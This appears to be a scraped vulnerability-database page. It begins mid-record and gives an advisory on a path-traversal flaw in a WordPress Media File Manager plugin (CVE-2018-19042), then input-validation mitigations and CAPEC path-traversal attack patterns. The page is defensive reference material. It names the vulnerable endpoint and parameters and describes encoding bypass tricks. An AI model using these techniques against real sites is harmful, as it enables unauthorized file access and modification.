"modified": "2024-04-04T05:18:33Z",
"published": "2023-06-30T03:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32608"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN97818024"
},
{
"type": "WEB",
"url": "https://pleasanter.org/archives/vulnerability-update-202306"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5C5G-X3F8-QCMQ
Vulnerability from github – Published: 2022-05-14 01:37 – Updated: 2022-05-14 01:37The Media File Manager plugin 1.4.2 for WordPress allows arbitrary file movement via a ../ directory traversal in the dir_from and dir_to parameters of an mrelocator_move action to the wp-admin/admin-ajax.php URI.
{
"affected": [],
"aliases": [
"CVE-2018-19042"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-31T19:29:00Z",
"severity": "MODERATE"
},
"details": "The Media File Manager plugin 1.4.2 for WordPress allows arbitrary file movement via a ../ directory traversal in the dir_from and dir_to parameters of an mrelocator_move action to the wp-admin/admin-ajax.php URI.",
"id": "GHSA-5c5g-x3f8-qcmq",
"modified": "2022-05-14T01:37:27Z",
"published": "2022-05-14T01:37:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19042"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45809"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.